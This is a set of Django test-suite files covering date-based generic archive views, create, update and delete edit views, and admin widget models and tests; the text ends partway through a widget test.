        self.assertEqual(res.context['previous_week'], datetime.date(2006, 4, 30))

    def test_week_view_paginated(self):
        week_start = datetime.date(2008, 9, 28)
        week_end = week_start + datetime.timedelta(days=7)
        res = self.client.get('/dates/books/2008/week/39/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(
            list(res.context['book_list']),
            list(Book.objects.filter(pubdate__gte=week_start, pubdate__lt=week_end))
        )
        self.assertEqual(
            list(res.context['object_list']),
            list(Book.objects.filter(pubdate__gte=week_start, pubdate__lt=week_end))
        )
        self.assertTemplateUsed(res, 'generic_views/book_archive_week.html')

    def test_week_view_invalid_pattern(self):
        res = self.client.get('/dates/books/2007/week/no_week/')
        self.assertEqual(res.status_code, 404)

    def test_week_start_Monday(self):
        # Regression for #14752
        res = self.client.get('/dates/books/2008/week/39/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['week'], datetime.date(2008, 9, 28))

        res = self.client.get('/dates/books/2008/week/39/monday/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['week'], datetime.date(2008, 9, 29))

    def test_datetime_week_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0))
        res = self.client.get('/dates/booksignings/2008/week/13/')
        self.assertEqual(res.status_code, 200)

    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Nairobi')
    def test_aware_datetime_week_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0, tzinfo=timezone.utc))
        res = self.client.get('/dates/booksignings/2008/week/13/')
        self.assertEqual(res.status_code, 200)


@override_settings(ROOT_URLCONF='generic_views.urls')
class DayArchiveViewTests(TestDataMixin, TestCase):

    def test_day_view(self):
        res = self.client.get('/dates/books/2008/oct/01/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/book_archive_day.html')
        self.assertEqual(list(res.context['book_list']),
                         list(Book.objects.filter(pubdate=datetime.date(2008, 10, 1))))
        self.assertEqual(res.context['day'], datetime.date(2008, 10, 1))

        # Since allow_empty=False, next/prev days must be valid.
        self.assertIsNone(res.context['next_day'])
        self.assertEqual(res.context['previous_day'], datetime.date(2006, 5, 1))

    def test_day_view_allow_empty(self):
        # allow_empty = False, empty month
        res = self.client.get('/dates/books/2000/jan/1/')
        self.assertEqual(res.status_code, 404)

        # allow_empty = True, empty month
        res = self.client.get('/dates/books/2000/jan/1/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['book_list']), [])
        self.assertEqual(res.context['day'], datetime.date(2000, 1, 1))

        # Since it's allow empty, next/prev are allowed to be empty months (#7164)
        self.assertEqual(res.context['next_day'], datetime.date(2000, 1, 2))
        self.assertEqual(res.context['previous_day'], datetime.date(1999, 12, 31))

        # allow_empty but not allow_future: next_month should be empty (#7164)
        url = datetime.date.today().strftime('/dates/books/%Y/%b/%d/allow_empty/').lower()
        res = self.client.get(url)
        self.assertEqual(res.status_code, 200)
        self.assertIsNone(res.context['next_day'])

    def test_day_view_allow_future(self):
        future = (datetime.date.today() + datetime.timedelta(days=60))
        urlbit = future.strftime('%Y/%b/%d').lower()
        b = Book.objects.create(name="The New New Testement", pages=600, pubdate=future)

        # allow_future = False, future month
        res = self.client.get('/dates/books/%s/' % urlbit)
        self.assertEqual(res.status_code, 404)

        # allow_future = True, valid future month
        res = self.client.get('/dates/books/%s/allow_future/' % urlbit)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['book_list']), [b])
        self.assertEqual(res.context['day'], future)

        # allow_future but not allow_empty, next/prev must be valid
        self.assertIsNone(res.context['next_day'])
        self.assertEqual(res.context['previous_day'], datetime.date(2008, 10, 1))

        # allow_future, but not allow_empty, with a current month.
        res = self.client.get('/dates/books/2008/oct/01/allow_future/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['next_day'], future)
        self.assertEqual(res.context['previous_day'], datetime.date(2006, 5, 1))

        # allow_future for yesterday, next_day is today (#17192)
        today = datetime.date.today()
        yesterday = today - datetime.timedelta(days=1)
        res = self.client.get('/dates/books/%s/allow_empty_and_future/'
                              % yesterday.strftime('%Y/%b/%d').lower())
        self.assertEqual(res.context['next_day'], today)

    def test_day_view_paginated(self):
        res = self.client.get('/dates/books/2008/oct/1/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(
            list(res.context['book_list']),
            list(Book.objects.filter(pubdate__year=2008, pubdate__month=10, pubdate__day=1))
        )
        self.assertEqual(
            list(res.context['object_list']),
            list(Book.objects.filter(pubdate__year=2008, pubdate__month=10, pubdate__day=1))
        )
        self.assertTemplateUsed(res, 'generic_views/book_archive_day.html')

    def test_next_prev_context(self):
        res = self.client.get('/dates/books/2008/oct/01/')
        self.assertEqual(res.content, b"Archive for Oct. 1, 2008. Previous day is May 1, 2006\n")

    def test_custom_month_format(self):
        res = self.client.get('/dates/books/2008/10/01/')
        self.assertEqual(res.status_code, 200)

    def test_day_view_invalid_pattern(self):
        res = self.client.get('/dates/books/2007/oct/no_day/')
        self.assertEqual(res.status_code, 404)

    def test_today_view(self):
        res = self.client.get('/dates/books/today/')
        self.assertEqual(res.status_code, 404)
        res = self.client.get('/dates/books/today/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['day'], datetime.date.today())

    def test_datetime_day_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0))
        res = self.client.get('/dates/booksignings/2008/apr/2/')
        self.assertEqual(res.status_code, 200)

    @requires_tz_support
    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Nairobi')
    def test_aware_datetime_day_view(self):
        bs = BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0, tzinfo=timezone.utc))
        res = self.client.get('/dates/booksignings/2008/apr/2/')
        self.assertEqual(res.status_code, 200)
        # 2008-04-02T00:00:00+03:00 (beginning of day) > 2008-04-01T22:00:00+00:00 (book signing event date)
        bs.event_date = datetime.datetime(2008, 4, 1, 22, 0, tzinfo=timezone.utc)
        bs.save()
        res = self.client.get('/dates/booksignings/2008/apr/2/')
        self.assertEqual(res.status_code, 200)
        # 2008-04-03T00:00:00+03:00 (end of day) > 2008-04-02T22:00:00+00:00 (book signing event date)
        bs.event_date = datetime.datetime(2008, 4, 2, 22, 0, tzinfo=timezone.utc)
        bs.save()
        res = self.client.get('/dates/booksignings/2008/apr/2/')
        self.assertEqual(res.status_code, 404)


@override_settings(ROOT_URLCONF='generic_views.urls')
class DateDetailViewTests(TestDataMixin, TestCase):

    def test_date_detail_by_pk(self):
        res = self.client.get('/dates/books/2008/oct/01/%s/' % self.book1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.book1)
        self.assertEqual(res.context['book'], self.book1)
        self.assertTemplateUsed(res, 'generic_views/book_detail.html')

    def test_date_detail_by_slug(self):
        res = self.client.get('/dates/books/2006/may/01/byslug/dreaming-in-code/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['book'], Book.objects.get(slug='dreaming-in-code'))

    def test_date_detail_custom_month_format(self):
        res = self.client.get('/dates/books/2008/10/01/%s/' % self.book1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['book'], self.book1)

    def test_date_detail_allow_future(self):
        future = (datetime.date.today() + datetime.timedelta(days=60))
        urlbit = future.strftime('%Y/%b/%d').lower()
        b = Book.objects.create(name="The New New Testement", slug="new-new", pages=600, pubdate=future)

        res = self.client.get('/dates/books/%s/new-new/' % urlbit)
        self.assertEqual(res.status_code, 404)

        res = self.client.get('/dates/books/%s/%s/allow_future/' % (urlbit, b.id))
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['book'], b)
        self.assertTemplateUsed(res, 'generic_views/book_detail.html')

    def test_invalid_url(self):
        with self.assertRaises(AttributeError):
            self.client.get("/dates/books/2008/oct/01/nopk/")

    def test_get_object_custom_queryset(self):
        """
        Ensure that custom querysets are used when provided to
        BaseDateDetailView.get_object()
        Refs #16918.
        """
        res = self.client.get(
            '/dates/books/get_object_custom_queryset/2006/may/01/%s/' % self.book2.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.book2)
        self.assertEqual(res.context['book'], self.book2)
        self.assertTemplateUsed(res, 'generic_views/book_detail.html')

        res = self.client.get(
            '/dates/books/get_object_custom_queryset/2008/oct/01/9999999/')
        self.assertEqual(res.status_code, 404)

    def test_get_object_custom_queryset_numqueries(self):
        with self.assertNumQueries(1):
            self.client.get('/dates/books/get_object_custom_queryset/2006/may/01/2/')

    def test_datetime_date_detail(self):
        bs = BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0))
        res = self.client.get('/dates/booksignings/2008/apr/2/%d/' % bs.pk)
        self.assertEqual(res.status_code, 200)

    @requires_tz_support
    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Nairobi')
    def test_aware_datetime_date_detail(self):
        bs = BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0, tzinfo=timezone.utc))
        res = self.client.get('/dates/booksignings/2008/apr/2/%d/' % bs.pk)
        self.assertEqual(res.status_code, 200)
        # 2008-04-02T00:00:00+03:00 (beginning of day) > 2008-04-01T22:00:00+00:00 (book signing event date)
        bs.event_date = datetime.datetime(2008, 4, 1, 22, 0, tzinfo=timezone.utc)
        bs.save()
        res = self.client.get('/dates/booksignings/2008/apr/2/%d/' % bs.pk)
        self.assertEqual(res.status_code, 200)
        # 2008-04-03T00:00:00+03:00 (end of day) > 2008-04-02T22:00:00+00:00 (book signing event date)
        bs.event_date = datetime.datetime(2008, 4, 2, 22, 0, tzinfo=timezone.utc)
        bs.save()
        res = self.client.get('/dates/booksignings/2008/apr/2/%d/' % bs.pk)
        self.assertEqual(res.status_code, 404)






from __future__ import unicode_literals

from django import forms
from django.core.exceptions import ImproperlyConfigured
from django.test import SimpleTestCase, TestCase, override_settings
from django.test.client import RequestFactory
from django.urls import reverse
from django.views.generic.base import View
from django.views.generic.edit import CreateView, FormMixin, ModelFormMixin

from . import views
from .forms import AuthorForm
from .models import Artist, Author


class FormMixinTests(SimpleTestCase):
    def test_initial_data(self):
        """ Test instance independence of initial data dict (see #16138) """
        initial_1 = FormMixin().get_initial()
        initial_1['foo'] = 'bar'
        initial_2 = FormMixin().get_initial()
        self.assertNotEqual(initial_1, initial_2)

    def test_get_prefix(self):
        """ Test prefix can be set (see #18872) """
        test_string = 'test'

        rf = RequestFactory()
        get_request = rf.get('/')

        class TestFormMixin(FormMixin):
            request = get_request

        default_kwargs = TestFormMixin().get_form_kwargs()
        self.assertIsNone(default_kwargs.get('prefix'))

        set_mixin = TestFormMixin()
        set_mixin.prefix = test_string
        set_kwargs = set_mixin.get_form_kwargs()
        self.assertEqual(test_string, set_kwargs.get('prefix'))

    def test_get_form(self):
        class TestFormMixin(FormMixin):
            request = RequestFactory().get('/')

        self.assertIsInstance(
            TestFormMixin().get_form(forms.Form), forms.Form,
            'get_form() should use provided form class.'
        )

        class FormClassTestFormMixin(TestFormMixin):
            form_class = forms.Form

        self.assertIsInstance(
            FormClassTestFormMixin().get_form(), forms.Form,
            'get_form() should fallback to get_form_class() if none is provided.'
        )

    def test_get_context_data(self):
        class FormContext(FormMixin):
            request = RequestFactory().get('/')
            form_class = forms.Form

        self.assertIsInstance(FormContext().get_context_data()['form'], forms.Form)


@override_settings(ROOT_URLCONF='generic_views.urls')
class BasicFormTests(TestCase):

    def test_post_data(self):
        res = self.client.post('/contact/', {'name': "Me", 'message': "Hello"})
        self.assertRedirects(res, '/list/authors/')

    def test_late_form_validation(self):
        """
        A form can be marked invalid in the form_valid() method (#25548).
        """
        res = self.client.post('/late-validation/', {'name': "Me", 'message': "Hello"})
        self.assertFalse(res.context['form'].is_valid())


class ModelFormMixinTests(SimpleTestCase):
    def test_get_form(self):
        form_class = views.AuthorGetQuerySetFormView().get_form_class()
        self.assertEqual(form_class._meta.model, Author)

    def test_get_form_checks_for_object(self):
        mixin = ModelFormMixin()
        mixin.request = RequestFactory().get('/')
        self.assertEqual({'initial': {}, 'prefix': None},
                         mixin.get_form_kwargs())


@override_settings(ROOT_URLCONF='generic_views.urls')
class CreateViewTests(TestCase):

    def test_create(self):
        res = self.client.get('/edit/authors/create/')
        self.assertEqual(res.status_code, 200)
        self.assertIsInstance(res.context['form'], forms.ModelForm)
        self.assertIsInstance(res.context['view'], View)
        self.assertNotIn('object', res.context)
        self.assertNotIn('author', res.context)
        self.assertTemplateUsed(res, 'generic_views/author_form.html')

        res = self.client.post('/edit/authors/create/', {'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/list/authors/')
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe>'])

    def test_create_invalid(self):
        res = self.client.post('/edit/authors/create/', {'name': 'A' * 101, 'slug': 'randall-munroe'})
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_form.html')
        self.assertEqual(len(res.context['form'].errors), 1)
        self.assertEqual(Author.objects.count(), 0)

    def test_create_with_object_url(self):
        res = self.client.post('/edit/artists/create/', {'name': 'Rene Magritte'})
        self.assertEqual(res.status_code, 302)
        artist = Artist.objects.get(name='Rene Magritte')
        self.assertRedirects(res, '/detail/artist/%d/' % artist.pk)
        self.assertQuerysetEqual(Artist.objects.all(), ['<Artist: Rene Magritte>'])

    def test_create_with_redirect(self):
        res = self.client.post('/edit/authors/create/redirect/', {'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/edit/authors/create/')
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe>'])

    def test_create_with_interpolated_redirect(self):
        res = self.client.post(
            '/edit/authors/create/interpolate_redirect/',
            {'name': 'Randall Munroe', 'slug': 'randall-munroe'}
        )
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe>'])
        self.assertEqual(res.status_code, 302)
        pk = Author.objects.first().pk
        self.assertRedirects(res, '/edit/author/%d/update/' % pk)
        # Also test with escaped chars in URL
        res = self.client.post(
            '/edit/authors/create/interpolate_redirect_nonascii/',
            {'name': 'John Doe', 'slug': 'john-doe'}
        )
        self.assertEqual(res.status_code, 302)
        pk = Author.objects.get(name='John Doe').pk
        self.assertRedirects(res, '/%C3%A9dit/author/{}/update/'.format(pk))

    def test_create_with_special_properties(self):
        res = self.client.get('/edit/authors/create/special/')
        self.assertEqual(res.status_code, 200)
        self.assertIsInstance(res.context['form'], views.AuthorForm)
        self.assertNotIn('object', res.context)
        self.assertNotIn('author', res.context)
        self.assertTemplateUsed(res, 'generic_views/form.html')

        res = self.client.post('/edit/authors/create/special/', {'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        self.assertEqual(res.status_code, 302)
        obj = Author.objects.get(slug='randall-munroe')
        self.assertRedirects(res, reverse('author_detail', kwargs={'pk': obj.pk}))
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe>'])

    def test_create_without_redirect(self):
        with self.assertRaises(ImproperlyConfigured):
            self.client.post('/edit/authors/create/naive/', {'name': 'Randall Munroe', 'slug': 'randall-munroe'})

    def test_create_restricted(self):
        res = self.client.post(
            '/edit/authors/create/restricted/',
            {'name': 'Randall Munroe', 'slug': 'randall-munroe'}
        )
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/accounts/login/?next=/edit/authors/create/restricted/')

    def test_create_view_with_restricted_fields(self):

        class MyCreateView(CreateView):
            model = Author
            fields = ['name']

        self.assertEqual(list(MyCreateView().get_form_class().base_fields), ['name'])

    def test_create_view_all_fields(self):
        class MyCreateView(CreateView):
            model = Author
            fields = '__all__'

        self.assertEqual(list(MyCreateView().get_form_class().base_fields), ['name', 'slug'])

    def test_create_view_without_explicit_fields(self):
        class MyCreateView(CreateView):
            model = Author

        message = (
            "Using ModelFormMixin (base class of MyCreateView) without the "
            "'fields' attribute is prohibited."
        )
        with self.assertRaisesMessage(ImproperlyConfigured, message):
            MyCreateView().get_form_class()

    def test_define_both_fields_and_form_class(self):
        class MyCreateView(CreateView):
            model = Author
            form_class = AuthorForm
            fields = ['name']

        message = "Specifying both 'fields' and 'form_class' is not permitted."
        with self.assertRaisesMessage(ImproperlyConfigured, message):
            MyCreateView().get_form_class()


@override_settings(ROOT_URLCONF='generic_views.urls')
class UpdateViewTests(TestCase):

    def test_update_post(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        res = self.client.get('/edit/author/%d/update/' % a.pk)
        self.assertEqual(res.status_code, 200)
        self.assertIsInstance(res.context['form'], forms.ModelForm)
        self.assertEqual(res.context['object'], Author.objects.get(pk=a.pk))
        self.assertEqual(res.context['author'], Author.objects.get(pk=a.pk))
        self.assertTemplateUsed(res, 'generic_views/author_form.html')
        self.assertEqual(res.context['view'].get_form_called_count, 1)

        # Modification with both POST and PUT (browser compatible)
        res = self.client.post(
            '/edit/author/%d/update/' % a.pk,
            {'name': 'Randall Munroe (xkcd)', 'slug': 'randall-munroe'}
        )
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/list/authors/')
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe (xkcd)>'])

    def test_update_invalid(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        res = self.client.post('/edit/author/%d/update/' % a.pk, {'name': 'A' * 101, 'slug': 'randall-munroe'})
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_form.html')
        self.assertEqual(len(res.context['form'].errors), 1)
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe>'])
        self.assertEqual(res.context['view'].get_form_called_count, 1)

    def test_update_with_object_url(self):
        a = Artist.objects.create(name='Rene Magritte')
        res = self.client.post('/edit/artists/%d/update/' % a.pk, {'name': 'Rene Magritte'})
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/detail/artist/%d/' % a.pk)
        self.assertQuerysetEqual(Artist.objects.all(), ['<Artist: Rene Magritte>'])

    def test_update_with_redirect(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        res = self.client.post(
            '/edit/author/%d/update/redirect/' % a.pk,
            {'name': 'Randall Munroe (author of xkcd)', 'slug': 'randall-munroe'}
        )
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/edit/authors/create/')
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe (author of xkcd)>'])

    def test_update_with_interpolated_redirect(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        res = self.client.post(
            '/edit/author/%d/update/interpolate_redirect/' % a.pk,
            {'name': 'Randall Munroe (author of xkcd)', 'slug': 'randall-munroe'}
        )
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe (author of xkcd)>'])
        self.assertEqual(res.status_code, 302)
        pk = Author.objects.first().pk
        self.assertRedirects(res, '/edit/author/%d/update/' % pk)
        # Also test with escaped chars in URL
        res = self.client.post(
            '/edit/author/%d/update/interpolate_redirect_nonascii/' % a.pk,
            {'name': 'John Doe', 'slug': 'john-doe'}
        )
        self.assertEqual(res.status_code, 302)
        pk = Author.objects.get(name='John Doe').pk
        self.assertRedirects(res, '/%C3%A9dit/author/{}/update/'.format(pk))

    def test_update_with_special_properties(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        res = self.client.get('/edit/author/%d/update/special/' % a.pk)
        self.assertEqual(res.status_code, 200)
        self.assertIsInstance(res.context['form'], views.AuthorForm)
        self.assertEqual(res.context['object'], Author.objects.get(pk=a.pk))
        self.assertEqual(res.context['thingy'], Author.objects.get(pk=a.pk))
        self.assertNotIn('author', res.context)
        self.assertTemplateUsed(res, 'generic_views/form.html')

        res = self.client.post(
            '/edit/author/%d/update/special/' % a.pk,
            {'name': 'Randall Munroe (author of xkcd)', 'slug': 'randall-munroe'}
        )
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/detail/author/%d/' % a.pk)
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe (author of xkcd)>'])

    def test_update_without_redirect(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        # Should raise exception -- No redirect URL provided, and no
        # get_absolute_url provided
        with self.assertRaises(ImproperlyConfigured):
            self.client.post(
                '/edit/author/%d/update/naive/' % a.pk,
                {'name': 'Randall Munroe (author of xkcd)', 'slug': 'randall-munroe'}
            )

    def test_update_get_object(self):
        a = Author.objects.create(
            pk=1,
            name='Randall Munroe',
            slug='randall-munroe',
        )
        res = self.client.get('/edit/author/update/')
        self.assertEqual(res.status_code, 200)
        self.assertIsInstance(res.context['form'], forms.ModelForm)
        self.assertIsInstance(res.context['view'], View)
        self.assertEqual(res.context['object'], Author.objects.get(pk=a.pk))
        self.assertEqual(res.context['author'], Author.objects.get(pk=a.pk))
        self.assertTemplateUsed(res, 'generic_views/author_form.html')

        # Modification with both POST and PUT (browser compatible)
        res = self.client.post('/edit/author/update/', {'name': 'Randall Munroe (xkcd)', 'slug': 'randall-munroe'})
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/list/authors/')
        self.assertQuerysetEqual(Author.objects.all(), ['<Author: Randall Munroe (xkcd)>'])


@override_settings(ROOT_URLCONF='generic_views.urls')
class DeleteViewTests(TestCase):

    def test_delete_by_post(self):
        a = Author.objects.create(**{'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        res = self.client.get('/edit/author/%d/delete/' % a.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], Author.objects.get(pk=a.pk))
        self.assertEqual(res.context['author'], Author.objects.get(pk=a.pk))
        self.assertTemplateUsed(res, 'generic_views/author_confirm_delete.html')

        # Deletion with POST
        res = self.client.post('/edit/author/%d/delete/' % a.pk)
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/list/authors/')
        self.assertQuerysetEqual(Author.objects.all(), [])

    def test_delete_by_delete(self):
        # Deletion with browser compatible DELETE method
        a = Author.objects.create(**{'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        res = self.client.delete('/edit/author/%d/delete/' % a.pk)
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/list/authors/')
        self.assertQuerysetEqual(Author.objects.all(), [])

    def test_delete_with_redirect(self):
        a = Author.objects.create(**{'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        res = self.client.post('/edit/author/%d/delete/redirect/' % a.pk)
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/edit/authors/create/')
        self.assertQuerysetEqual(Author.objects.all(), [])

    def test_delete_with_interpolated_redirect(self):
        a = Author.objects.create(**{'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        res = self.client.post('/edit/author/%d/delete/interpolate_redirect/' % a.pk)
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/edit/authors/create/?deleted=%d' % a.pk)
        self.assertQuerysetEqual(Author.objects.all(), [])
        # Also test with escaped chars in URL
        a = Author.objects.create(**{'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        res = self.client.post('/edit/author/{}/delete/interpolate_redirect_nonascii/'.format(a.pk))
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/%C3%A9dit/authors/create/?deleted={}'.format(a.pk))

    def test_delete_with_special_properties(self):
        a = Author.objects.create(**{'name': 'Randall Munroe', 'slug': 'randall-munroe'})
        res = self.client.get('/edit/author/%d/delete/special/' % a.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], Author.objects.get(pk=a.pk))
        self.assertEqual(res.context['thingy'], Author.objects.get(pk=a.pk))
        self.assertNotIn('author', res.context)
        self.assertTemplateUsed(res, 'generic_views/confirm_delete.html')

        res = self.client.post('/edit/author/%d/delete/special/' % a.pk)
        self.assertEqual(res.status_code, 302)
        self.assertRedirects(res, '/list/authors/')
        self.assertQuerysetEqual(Author.objects.all(), [])

    def test_delete_without_redirect(self):
        a = Author.objects.create(
            name='Randall Munroe',
            slug='randall-munroe',
        )
        # Should raise exception -- No redirect URL provided, and no
        # get_absolute_url provided
        with self.assertRaises(ImproperlyConfigured):
            self.client.post('/edit/author/%d/delete/naive/' % a.pk)






from __future__ import unicode_literals

from django.contrib.auth.models import User
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class MyFileField(models.FileField):
    pass


@python_2_unicode_compatible
class Member(models.Model):
    name = models.CharField(max_length=100)
    birthdate = models.DateTimeField(blank=True, null=True)
    gender = models.CharField(max_length=1, blank=True, choices=[('M', 'Male'), ('F', 'Female')])
    email = models.EmailField(blank=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Band(models.Model):
    name = models.CharField(max_length=100)
    style = models.CharField(max_length=20)
    members = models.ManyToManyField(Member)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Album(models.Model):
    band = models.ForeignKey(Band, models.CASCADE)
    name = models.CharField(max_length=100)
    cover_art = models.FileField(upload_to='albums')
    backside_art = MyFileField(upload_to='albums_back', null=True)

    def __str__(self):
        return self.name


class HiddenInventoryManager(models.Manager):
    def get_queryset(self):
        return super(HiddenInventoryManager, self).get_queryset().filter(hidden=False)


@python_2_unicode_compatible
class Inventory(models.Model):
    barcode = models.PositiveIntegerField(unique=True)
    parent = models.ForeignKey('self', models.SET_NULL, to_field='barcode', blank=True, null=True)
    name = models.CharField(blank=False, max_length=20)
    hidden = models.BooleanField(default=False)

    # see #9258
    default_manager = models.Manager()
    objects = HiddenInventoryManager()

    def __str__(self):
        return self.name


class Event(models.Model):
    main_band = models.ForeignKey(
        Band,
        models.CASCADE,
        limit_choices_to=models.Q(pk__gt=0),
        related_name='events_main_band_at',
    )
    supporting_bands = models.ManyToManyField(
        Band,
        blank=True,
        related_name='events_supporting_band_at',
        help_text='Supporting Bands.',
    )
    start_date = models.DateField(blank=True, null=True)
    start_time = models.TimeField(blank=True, null=True)
    description = models.TextField(blank=True)
    link = models.URLField(blank=True)
    min_age = models.IntegerField(blank=True, null=True)


@python_2_unicode_compatible
class Car(models.Model):
    owner = models.ForeignKey(User, models.CASCADE)
    make = models.CharField(max_length=30)
    model = models.CharField(max_length=30)

    def __str__(self):
        return "%s %s" % (self.make, self.model)


class CarTire(models.Model):
    """
    A single car tire. This to test that a user can only select their own cars.
    """
    car = models.ForeignKey(Car, models.CASCADE)


class Honeycomb(models.Model):
    location = models.CharField(max_length=20)


class Bee(models.Model):
    """
    A model with a FK to a model that won't be registered with the admin
    (Honeycomb) so the corresponding raw ID widget won't have a magnifying
    glass link to select related honeycomb instances.
    """
    honeycomb = models.ForeignKey(Honeycomb, models.CASCADE)


class Individual(models.Model):
    """
    A model with a FK to itself. It won't be registered with the admin, so the
    corresponding raw ID widget won't have a magnifying glass link to select
    related instances (rendering will be called programmatically in this case).
    """
    name = models.CharField(max_length=20)
    parent = models.ForeignKey('self', models.SET_NULL, null=True)
    soulmate = models.ForeignKey('self', models.CASCADE, null=True, related_name='soulmates')


class Company(models.Model):
    name = models.CharField(max_length=20)


class Advisor(models.Model):
    """
    A model with a m2m to a model that won't be registered with the admin
    (Company) so the corresponding raw ID widget won't have a magnifying
    glass link to select related company instances.
    """
    name = models.CharField(max_length=20)
    companies = models.ManyToManyField(Company)


@python_2_unicode_compatible
class Student(models.Model):
    name = models.CharField(max_length=255)

    def __str__(self):
        return self.name

    class Meta:
        ordering = ('name',)


@python_2_unicode_compatible
class School(models.Model):
    name = models.CharField(max_length=255)
    students = models.ManyToManyField(Student, related_name='current_schools')
    alumni = models.ManyToManyField(Student, related_name='previous_schools')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Profile(models.Model):
    user = models.ForeignKey('auth.User', models.CASCADE, to_field='username')

    def __str__(self):
        return self.user.username






from django.conf.urls import url

from . import widgetadmin

urlpatterns = [
    url(r'^', widgetadmin.site.urls),
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import gettext
import os
from datetime import datetime, timedelta
from importlib import import_module
from unittest import skipIf

from django import forms
from django.conf import settings
from django.contrib import admin
from django.contrib.admin import widgets
from django.contrib.admin.tests import AdminSeleniumTestCase
from django.contrib.auth.models import User
from django.core.files.storage import default_storage
from django.core.files.uploadedfile import SimpleUploadedFile
from django.db.models import CharField, DateField, DateTimeField
from django.test import SimpleTestCase, TestCase, override_settings
from django.urls import reverse
from django.utils import six, translation

from . import models
from .widgetadmin import site as widget_admin_site

try:
    import pytz
except ImportError:
    pytz = None


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email=None)
        cls.u2 = User.objects.create_user(username='testser', password='secret')
        models.Car.objects.create(owner=cls.superuser, make='Volkswagen', model='Passat')
        models.Car.objects.create(owner=cls.u2, make='BMW', model='M3')


class AdminFormfieldForDBFieldTests(SimpleTestCase):
    """
    Tests for correct behavior of ModelAdmin.formfield_for_dbfield
    """

    def assertFormfield(self, model, fieldname, widgetclass, **admin_overrides):
        """
        Helper to call formfield_for_dbfield for a given model and field name
        and verify that the returned formfield is appropriate.
        """
        # Override any settings on the model admin
        class MyModelAdmin(admin.ModelAdmin):
            pass
        for k in admin_overrides:
            setattr(MyModelAdmin, k, admin_overrides[k])

        # Construct the admin, and ask it for a formfield
        ma = MyModelAdmin(model, admin.site)
        ff = ma.formfield_for_dbfield(model._meta.get_field(fieldname), request=None)

        # "unwrap" the widget wrapper, if needed
        if isinstance(ff.widget, widgets.RelatedFieldWidgetWrapper):
            widget = ff.widget.widget
        else:
            widget = ff.widget

        # Check that we got a field of the right type
        self.assertTrue(
            isinstance(widget, widgetclass),
